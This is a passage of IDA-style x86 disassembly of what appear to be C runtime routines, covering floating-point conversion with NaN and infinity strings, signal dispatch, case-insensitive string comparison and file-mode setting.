loc_420FD8:				; CODE XREF: sub_420C87+287j
		dec	esi
		cmp	byte ptr [esi],	0
		jz	short loc_420FD2
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_C]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_420BA3
		mov	eax, [ebp+var_20]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_1C], ecx
		jge	short loc_420FFD
		neg	eax


loc_420FFD:				; CODE XREF: sub_420C87+372j
		add	eax, [ebp+var_10]
		cmp	[ebp+var_24], ecx
		jnz	short loc_421008
		add	eax, [ebp+arg_10]


loc_421008:				; CODE XREF: sub_420C87+37Cj
		cmp	[ebp+var_28], ecx
		jnz	short loc_421010
		sub	eax, [ebp+arg_14]


loc_421010:				; CODE XREF: sub_420C87+384j
		cmp	eax, 1450h
		jg	short loc_421045
		cmp	eax, 0FFFFEBB0h
		jl	short loc_42105C
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_4217FB
		mov	edx, [ebp+var_3C]
		mov	ebx, [ebp+var_3C+2]
		mov	esi, [ebp+var_36]
		mov	eax, [ebp+var_32]
		add	esp, 0Ch
		jmp	short loc_42106B
; ---------------------------------------------------------------------------


loc_42103C:				; CODE XREF: sub_420C87+25Fj
		mov	[ebp+var_18], 4
		jmp	short loc_421063
; ---------------------------------------------------------------------------


loc_421045:				; CODE XREF: sub_420C87+38Ej
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_18], 2
		jmp	short loc_42106B
; ---------------------------------------------------------------------------


loc_42105C:				; CODE XREF: sub_420C87+395j
		mov	[ebp+var_18], 1


loc_421063:				; CODE XREF: sub_420C87+281j
					; sub_420C87+3BCj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx


loc_42106B:				; CODE XREF: sub_420C87+3B3j
					; sub_420C87+3D3j
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_2C]
		mov	[ecx+2], ebx
		mov	[ecx+6], esi
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_18]
		mov	[ecx], dx
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41C526
		leave
		retn
sub_420C87	endp

; ---------------------------------------------------------------------------
off_421091	dd offset loc_420CF4	; DATA XREF: sub_420C87+66r
		dd offset loc_420D47	; jump table for switch	statement
		dd offset loc_420DA8
		dd offset loc_420DD3
		dd offset loc_420E0E
		dd offset loc_420E66
		dd offset loc_420E86
		dd offset loc_420F13
		dd offset loc_420EBE
		dd offset loc_420F78
		dd offset loc_420F60
		dd offset loc_420F30

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210C1	proc near		; CODE XREF: sub_42009C+36p

var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= word ptr -18h
var_16		= dword	ptr -16h
var_12		= dword	ptr -12h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_14]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_24], 0CCh
		mov	[ebp+var_23], 0CCh
		mov	[ebp+var_22], 0CCh
		mov	[ebp+var_21], 0CCh
		mov	[ebp+var_20], 0CCh
		mov	[ebp+var_1F], 0CCh
		mov	[ebp+var_1E], 0CCh
		mov	[ebp+var_1D], 0CCh
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0FBh
		mov	[ebp+var_19], 3Fh
		mov	[ebp+var_8], 1
		mov	edx, eax
		jz	short loc_42112E
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_421132
; ---------------------------------------------------------------------------


loc_42112E:				; CODE XREF: sub_4210C1+65j
		mov	byte ptr [ebx+2], 20h


loc_421132:				; CODE XREF: sub_4210C1+6Bj
		test	dx, dx
		mov	edi, [ebp+arg_4]
		jnz	short loc_421147
		test	edi, edi
		jnz	short loc_421147
		cmp	[ebp+arg_0], edi
		jz	loc_42123A


loc_421147:				; CODE XREF: sub_4210C1+77j
					; sub_4210C1+7Bj
		cmp	dx, si
		jnz	short loc_4211C4
		mov	eax, 80000000h
		cmp	edi, eax
		mov	word ptr [ebx],	1
		jnz	short loc_421160
		cmp	[ebp+arg_0], 0
		jz	short loc_42116F


loc_421160:				; CODE XREF: sub_4210C1+97j
		test	edi, 40000000h
		jnz	short loc_42116F
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4211B5
; ---------------------------------------------------------------------------


loc_42116F:				; CODE XREF: sub_4210C1+9Dj
					; sub_4210C1+A5j
		test	cx, cx
		jz	short loc_421189
		cmp	edi, 0C0000000h
		jnz	short loc_421189
		cmp	[ebp+arg_0], 0
		jnz	short loc_4211B0
		push	offset a1Ind	; "1#IND"
		jmp	short loc_421198
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_4210C1+B1j
					; sub_4210C1+B9j
		cmp	edi, eax
		jnz	short loc_4211B0
		cmp	[ebp+arg_0], 0
		jnz	short loc_4211B0
		push	offset a1Inf	; "1#INF"


loc_421198:				; CODE XREF: sub_4210C1+C6j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BF70
		mov	byte ptr [ebx+3], 5


loc_4211A5:				; CODE XREF: sub_4210C1+101j
		and	[ebp+var_8], 0
		pop	ecx
		pop	ecx
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_4211B0:				; CODE XREF: sub_4210C1+BFj
					; sub_4210C1+CAj ...
		push	offset a1Qnan	; "1#QNAN"


loc_4211B5:				; CODE XREF: sub_4210C1+ACj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BF70
		mov	byte ptr [ebx+3], 6
		jmp	short loc_4211A5
; ---------------------------------------------------------------------------


loc_4211C4:				; CODE XREF: sub_4210C1+89j
		movzx	eax, dx
		mov	esi, eax
		imul	eax, 4D10h
		and	[ebp+var_18], 0
		mov	ecx, edi
		shr	ecx, 18h
		shr	esi, 8
		lea	ecx, [esi+ecx*2]
		imul	ecx, 4Dh
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_16], eax
		sar	esi, 10h
		movsx	eax, si
		neg	eax
		push	1
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_E], dx
		mov	[ebp+var_12], edi
		call	sub_4217FB
		add	esp, 0Ch
		cmp	[ebp+var_E], 3FFFh
		jb	short loc_421225
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		inc	esi
		call	sub_4215C3
		pop	ecx
		pop	ecx


loc_421225:				; CODE XREF: sub_4210C1+152j
		test	[ebp+arg_10], 1
		mov	edi, [ebp+arg_C]
		mov	[ebx], si
		jz	short loc_421243
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_421243


loc_42123A:				; CODE XREF: sub_4210C1+80j
		mov	byte ptr [ebx+4], 30h
		jmp	loc_421340
; ---------------------------------------------------------------------------


loc_421243:				; CODE XREF: sub_4210C1+16Ej
					; sub_4210C1+177j
		cmp	edi, 15h
		jle	short loc_42124B
		push	15h
		pop	edi


loc_42124B:				; CODE XREF: sub_4210C1+185j
		movzx	esi, [ebp+var_E]
		sub	esi, 3FFEh
		and	[ebp+var_E], 0
		mov	[ebp+arg_8], 8


loc_421261:				; CODE XREF: sub_4210C1+1ADj
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420B48
		dec	[ebp+arg_8]
		pop	ecx
		jnz	short loc_421261
		test	esi, esi
		jge	short loc_42128B
		neg	esi
		and	esi, 0FFh
		jle	short loc_42128B


loc_42127E:				; CODE XREF: sub_4210C1+1C8j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420B76
		dec	esi
		pop	ecx
		jnz	short loc_42127E


loc_42128B:				; CODE XREF: sub_4210C1+1B1j
					; sub_4210C1+1BBj
		lea	ecx, [edi+1]
		test	ecx, ecx
		lea	eax, [ebx+4]
		mov	[ebp+arg_8], eax
		jle	short loc_4212E8
		mov	[ebp+var_C], ecx


loc_42129B:				; CODE XREF: sub_4210C1+222j
		lea	esi, [ebp+var_18]
		lea	edi, [ebp+var_30]
		movsd
		movsd
		lea	eax, [ebp+var_18]
		push	eax
		movsd
		call	sub_420B48
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420B48
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420AEA
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420B48
		mov	al, byte ptr [ebp+var_E+1]
		mov	ecx, [ebp+arg_8]
		and	byte ptr [ebp+var_E+1],	0
		add	al, 30h
		add	esp, 14h
		inc	[ebp+arg_8]
		dec	[ebp+var_C]
		mov	[ecx], al
		jnz	short loc_42129B
		mov	eax, [ebp+arg_8]


loc_4212E8:				; CODE XREF: sub_4210C1+1D5j
		dec	eax
		mov	cl, [eax]
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_421335
		jmp	short loc_4212FF
; ---------------------------------------------------------------------------


loc_4212F6:				; CODE XREF: sub_4210C1+240j
		cmp	byte ptr [eax],	39h
		jnz	short loc_421303
		mov	byte ptr [eax],	30h
		dec	eax


loc_4212FF:				; CODE XREF: sub_4210C1+233j
		cmp	eax, ecx
		jnb	short loc_4212F6


loc_421303:				; CODE XREF: sub_4210C1+238j
		cmp	eax, ecx
		jnb	short loc_42130B
		inc	eax
		inc	word ptr [ebx]


loc_42130B:				; CODE XREF: sub_4210C1+244j
		inc	byte ptr [eax]


loc_42130D:				; CODE XREF: sub_4210C1+27Aj
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_42131C:				; CODE XREF: sub_4210C1+EAj
		mov	eax, [ebp+var_8]


loc_42131F:				; CODE XREF: sub_4210C1+292j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41C526
		leave
		retn
; ---------------------------------------------------------------------------


loc_42132F:				; CODE XREF: sub_4210C1+276j
		cmp	byte ptr [eax],	30h
		jnz	short loc_421339
		dec	eax


loc_421335:				; CODE XREF: sub_4210C1+231j
		cmp	eax, ecx
		jnb	short loc_42132F


loc_421339:				; CODE XREF: sub_4210C1+271j
		cmp	eax, ecx
		jnb	short loc_42130D
		mov	byte ptr [ecx],	30h


loc_421340:				; CODE XREF: sub_4210C1+17Dj
		and	word ptr [ebx],	0
		and	byte ptr [ebx+5], 0
		xor	eax, eax
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		inc	eax
		jmp	short loc_42131F
sub_4210C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_421355	proc near		; CODE XREF: sub_421383+72p
		mov	ecx, dword_432C6C
		mov	eax, edx
		push	edi


loc_42135E:				; CODE XREF: sub_421355+19j
		cmp	[eax+4], esi
		jz	short loc_421370
		lea	edi, [ecx+ecx*2]
		add	eax, 0Ch
		lea	edi, [edx+edi*4]
		cmp	eax, edi
		jb	short loc_42135E


loc_421370:				; CODE XREF: sub_421355+Cj
		lea	ecx, [ecx+ecx*2]
		lea	ecx, [edx+ecx*4]
		cmp	eax, ecx
		pop	edi
		jnb	short loc_421380
		cmp	[eax+4], esi
		jz	short locret_421382


loc_421380:				; CODE XREF: sub_421355+24j
		xor	eax, eax

locret_421382:				; CODE XREF: sub_421355+29j
		retn
sub_421355	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421383	proc near		; CODE XREF: sub_41CE51+38A5p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004214CB SIZE 00000031 BYTES

		push	20h
		push	offset stru_42CE10
		call	__SEH_prolog
		xor	ecx, ecx
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+arg_0]
		dec	eax
		dec	eax
		jz	short loc_421405
		dec	eax
		dec	eax
		jz	short loc_4213E5
		sub	eax, 4
		jz	short loc_4213E5
		sub	eax, 3
		jz	short loc_4213E5
		sub	eax, 4
		jz	short loc_4213D8
		sub	eax, 6
		jz	short loc_4213CB
		dec	eax
		jz	short loc_4213BE
		or	eax, 0FFFFFFFFh
		jmp	loc_4214F6
; ---------------------------------------------------------------------------


loc_4213BE:				; CODE XREF: sub_421383+31j
		mov	esi, offset dword_4815A4
		mov	edi, dword_4815A4
		jmp	short loc_421410
; ---------------------------------------------------------------------------


loc_4213CB:				; CODE XREF: sub_421383+2Ej
		mov	esi, offset dword_4815A0
		mov	edi, dword_4815A0
		jmp	short loc_421410
; ---------------------------------------------------------------------------


loc_4213D8:				; CODE XREF: sub_421383+29j
		mov	esi, offset dword_4815A8
		mov	edi, dword_4815A8
		jmp	short loc_421410
; ---------------------------------------------------------------------------


loc_4213E5:				; CODE XREF: sub_421383+1Aj
					; sub_421383+1Fj ...
		call	sub_41915F
		mov	ebx, eax
		mov	[ebp+var_24], ebx
		mov	edx, [ebx+54h]
		mov	esi, [ebp+arg_0]
		call	sub_421355
		mov	esi, eax
		add	esi, 8
		mov	edi, [esi]
		xor	ecx, ecx
		jmp	short loc_42141A
; ---------------------------------------------------------------------------


loc_421405:				; CODE XREF: sub_421383+16j
		mov	esi, offset dword_48159C
		mov	edi, dword_48159C


loc_421410:				; CODE XREF: sub_421383+46j
					; sub_421383+53j ...
		mov	[ebp+var_1C], 1
		mov	ebx, [ebp+var_24]


loc_42141A:				; CODE XREF: sub_421383+80j
		mov	[ebp+var_20], edi
		cmp	edi, 1
		jz	loc_4214F4
		cmp	edi, ecx
		jnz	short loc_421431
		push	3
		call	sub_4183C4


loc_421431:				; CODE XREF: sub_421383+A5j
		cmp	[ebp+var_1C], ecx
		jz	short loc_42143F
		push	ecx
		call	sub_41A166
		pop	ecx
		xor	ecx, ecx


loc_42143F:				; CODE XREF: sub_421383+B1j
		mov	[ebp+ms_exc.disabled], ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, 8
		jz	short loc_421454
		cmp	eax, 0Bh
		jz	short loc_421454
		cmp	eax, 4
		jnz	short loc_42146F


loc_421454:				; CODE XREF: sub_421383+C5j
					; sub_421383+CAj
		mov	edx, [ebx+58h]
		mov	[ebp+var_28], edx
		mov	[ebx+58h], ecx
		cmp	eax, 8
		jnz	short loc_42149B
		mov	edx, [ebx+5Ch]
		mov	[ebp+var_2C], edx
		mov	dword ptr [ebx+5Ch], 8Ch


loc_42146F:				; CODE XREF: sub_421383+CFj
		cmp	eax, 8
		jnz	short loc_42149B
		mov	eax, dword_432C60


loc_421479:				; CODE XREF: sub_421383+116j
		mov	[ebp+var_30], eax
		mov	edx, dword_432C64
		mov	esi, dword_432C60
		add	edx, esi
		cmp	eax, edx
		jge	short loc_42149D
		lea	edx, [eax+eax*2]
		mov	esi, [ebx+54h]
		mov	[esi+edx*4+8], ecx
		inc	eax
		jmp	short loc_421479
; ---------------------------------------------------------------------------


loc_42149B:				; CODE XREF: sub_421383+DDj
					; sub_421383+EFj
		mov	[esi], ecx


loc_42149D:				; CODE XREF: sub_421383+109j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4214BE
		cmp	[ebp+arg_0], 8
		jnz	short loc_4214CB
		push	dword ptr [ebx+5Ch]
		push	8
		call	edi
		pop	ecx
		jmp	short loc_4214D0
sub_421383	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4214B6	proc near		; DATA XREF: .text:stru_42CE10o
		mov	edi, [ebp-20h]
		mov	ebx, [ebp-24h]
		xor	ecx, ecx
sub_4214B6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4214BE	proc near		; CODE XREF: sub_421383+11Ep
		cmp	[ebp-1Ch], ecx
		jz	short locret_4214CA
		push	ecx
		call	sub_41A0D2
		pop	ecx

locret_4214CA:				; CODE XREF: sub_4214BE+3j
		retn
sub_4214BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_421383


loc_4214CB:				; CODE XREF: sub_421383+127j
		push	[ebp+arg_0]
		call	edi


loc_4214D0:				; CODE XREF: sub_421383+131j
		pop	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, 8
		jz	short loc_4214E3
		cmp	eax, 0Bh
		jz	short loc_4214E3
		cmp	eax, 4
		jnz	short loc_4214F4


loc_4214E3:				; CODE XREF: sub_421383+154j
					; sub_421383+159j
		mov	ecx, [ebp+var_28]
		mov	[ebx+58h], ecx
		cmp	eax, 8
		jnz	short loc_4214F4
		mov	eax, [ebp+var_2C]
		mov	[ebx+5Ch], eax


loc_4214F4:				; CODE XREF: sub_421383+9Dj
					; sub_421383+15Ej ...
		xor	eax, eax


loc_4214F6:				; CODE XREF: sub_421383+36j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_421383
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+10h]
		or	ecx, ecx
		jz	short loc_42155A
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_42151C:				; CODE XREF: .text:00421549j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_42154B
		or	al, al
		jz	short loc_42154B
		add	esi, 1
		add	edi, 1
		cmp	ah, bh
		jb	short loc_421538
		cmp	ah, bl
		ja	short loc_421538
		add	ah, dh


loc_421538:				; CODE XREF: .text:00421530j
					; .text:00421534j
		cmp	al, bh
		jb	short loc_421542
		cmp	al, bl
		ja	short loc_421542
		add	al, dh


loc_421542:				; CODE XREF: .text:0042153Aj
					; .text:0042153Ej
		cmp	ah, al
		jnz	short loc_421551
		sub	ecx, 1
		jnz	short loc_42151C


loc_42154B:				; CODE XREF: .text:00421522j
					; .text:00421526j
		xor	ecx, ecx
		cmp	ah, al
		jz	short loc_42155A


loc_421551:				; CODE XREF: .text:00421544j
		mov	ecx, 0FFFFFFFFh
		jb	short loc_42155A
		neg	ecx


loc_42155A:				; CODE XREF: .text:0042150Bj
					; .text:0042154Fj ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_421561	proc near		; CODE XREF: sub_42098E+73p
					; sub_42098E+C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4815E0[ecx*4]
		lea	eax, [eax+eax*8]
		lea	edx, [ecx+eax*4+4]
		mov	cl, [edx]
		xor	eax, eax
		mov	al, cl
		push	esi
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421597
		and	cl, 7Fh
		jmp	short loc_4215A4
; ---------------------------------------------------------------------------


loc_421597:				; CODE XREF: sub_421561+2Fj
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_4215B3
		or	cl, 80h


loc_4215A4:				; CODE XREF: sub_421561+34j
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFC000h
		add	eax, esi
		mov	[edx], cl
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4215B3:				; CODE XREF: sub_421561+3Ej
		call	sub_41B935
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421561	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4215C3	proc near		; CODE XREF: sub_4210C1+15Dp
					; sub_4217FB+6Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		xor	ecx, ecx
		mov	cx, [ebx+0Ah]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	ax, [esi+0Ah]
		push	edi
		mov	edi, ecx
		mov	edx, 7FFFh
		and	ecx, edx
		xor	edi, eax
		and	eax, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4217D0
		cmp	cx, 7FFFh
		jnb	loc_4217D0
		cmp	dx, 0BFFDh
		ja	loc_4217D0
		cmp	dx, 3FBFh
		ja	short loc_421639
		xor	eax, eax
		jmp	short loc_421673
; ---------------------------------------------------------------------------


loc_421639:				; CODE XREF: sub_4215C3+70j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_42165B
		inc	[ebp+arg_0]
		xor	eax, eax
		test	[esi+8], edx
		jnz	short loc_42165D
		cmp	[esi+4], eax
		jnz	short loc_42165D
		cmp	[esi], eax
		jnz	short loc_42165D
		jmp	loc_4217CA
; ---------------------------------------------------------------------------


loc_42165B:				; CODE XREF: sub_4215C3+7Ej
		xor	eax, eax


loc_42165D:				; CODE XREF: sub_4215C3+88j
					; sub_4215C3+8Dj ...
		cmp	cx, ax
		jnz	short loc_421680
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421680
		cmp	[ebx+4], eax
		jnz	short loc_421680
		cmp	[ebx], eax
		jnz	short loc_421680


loc_421673:				; CODE XREF: sub_4215C3+74j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4217EB
; ---------------------------------------------------------------------------


loc_421680:				; CODE XREF: sub_4215C3+9Dj
					; sub_4215C3+A5j ...
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		mov	[ebp+var_8], eax
		mov	[ebp+arg_4], 5


loc_421690:				; CODE XREF: sub_4215C3+12Fj
		mov	eax, [ebp+var_14]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_4216E4
		add	eax, esi
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [ebx+8]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_1C], eax


loc_4216AC:				; CODE XREF: sub_4215C3+11Fj
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		movzx	ecx, word ptr [ecx]
		movzx	eax, word ptr [eax]
		imul	eax, ecx
		mov	ecx, [ebp+var_8]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_420AC9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4216D7
		mov	eax, [ebp+var_8]
		inc	word ptr [eax]


loc_4216D7:				; CODE XREF: sub_4215C3+10Cj
		add	[ebp+var_C], 2
		sub	[ebp+var_10], 2
		dec	[ebp+var_1C]
		jnz	short loc_4216AC


loc_4216E4:				; CODE XREF: sub_4215C3+D6j
		add	[ebp+var_8], 2
		inc	[ebp+var_14]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421690
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421727


loc_421702:				; CODE XREF: sub_4215C3+15Bj
		test	byte ptr [ebp+var_20+3], 80h
		jnz	short loc_421720
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_420B48
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		pop	ecx
		jg	short loc_421702


loc_421720:				; CODE XREF: sub_4215C3+143j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421760


loc_421727:				; CODE XREF: sub_4215C3+13Dj
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_421760
		mov	eax, [ebp+arg_0]
		neg	eax
		movzx	ebx, ax
		add	[ebp+arg_0], ebx


loc_421740:				; CODE XREF: sub_4215C3+191j
		test	byte ptr [ebp+var_28], 1
		jz	short loc_421749
		inc	[ebp+var_18]


loc_421749:				; CODE XREF: sub_4215C3+181j
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_420B76
		dec	ebx
		pop	ecx
		jnz	short loc_421740
		cmp	[ebp+var_18], 0
		jz	short loc_421760
		or	byte ptr [ebp+var_28], 1


loc_421760:				; CODE XREF: sub_4215C3+162j
					; sub_4215C3+170j ...
		cmp	word ptr [ebp+var_28], 8000h
		ja	short loc_421777
		mov	eax, [ebp+var_28]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_4217AC


loc_421777:				; CODE XREF: sub_4215C3+1A3j
		cmp	[ebp+var_28+2],	0FFFFFFFFh
		jnz	short loc_4217A9
		and	[ebp+var_28+2],	0
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_4217A4
		and	[ebp+var_24+2],	0
		cmp	word ptr [ebp+var_20+2], 0FFFFh
		jnz	short loc_42179E
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_20+2], 8000h
		jmp	short loc_4217AC
; ---------------------------------------------------------------------------


loc_42179E:				; CODE XREF: sub_4215C3+1CEj
		inc	word ptr [ebp+var_20+2]
		jmp	short loc_4217AC
; ---------------------------------------------------------------------------


loc_4217A4:				; CODE XREF: sub_4215C3+1C2j
		inc	[ebp+var_24+2]
		jmp	short loc_4217AC
; ---------------------------------------------------------------------------


loc_4217A9:				; CODE XREF: sub_4215C3+1B8j
		inc	[ebp+var_28+2]


loc_4217AC:				; CODE XREF: sub_4215C3+1B2j
					; sub_4215C3+1D9j ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4217D0
		mov	cx, word ptr [ebp+var_28+2]
		mov	[esi], cx
		mov	ecx, [ebp+var_24]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_20]
		mov	[esi+6], ecx
		or	eax, edi


loc_4217CA:				; CODE XREF: sub_4215C3+93j
		mov	[esi+0Ah], ax
		jmp	short loc_4217EB
; ---------------------------------------------------------------------------


loc_4217D0:				; CODE XREF: sub_4215C3+4Fj
					; sub_4215C3+5Aj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_4217EB:				; CODE XREF: sub_4215C3+B8j
					; sub_4215C3+20Bj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41C526
		leave
		retn
sub_4215C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217FB	proc near		; CODE XREF: sub_420C87+39Fp
					; sub_4210C1+144p

var_10		= byte ptr -10h
var_E		= dword	ptr -0Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, offset dword_432F00
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		mov	[ebp+var_4], eax
		jz	short loc_421879
		jge	short loc_421829
		neg	[ebp+arg_4]
		mov	ebx, offset dword_433060
		sub	ebx, 60h


loc_421829:				; CODE XREF: sub_4217FB+21j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_421834
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_421834:				; CODE XREF: sub_4217FB+31j
		cmp	[ebp+arg_4], ecx
		jz	short loc_421879
		push	esi
		push	edi


loc_42183B:				; CODE XREF: sub_4217FB+7Aj
		mov	eax, [ebp+arg_4]
		sar	[ebp+arg_4], 3
		and	eax, 7
		add	ebx, 54h
		cmp	eax, ecx
		jz	short loc_421872
		lea	eax, [eax+eax*2]
		lea	esi, [ebx+eax*4]
		cmp	word ptr [esi],	8000h
		jb	short loc_421865
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		dec	[ebp+var_E]
		lea	esi, [ebp+var_10]


loc_421865:				; CODE XREF: sub_4217FB+5Cj
		push	esi
		push	[ebp+arg_0]
		call	sub_4215C3
		pop	ecx
		pop	ecx
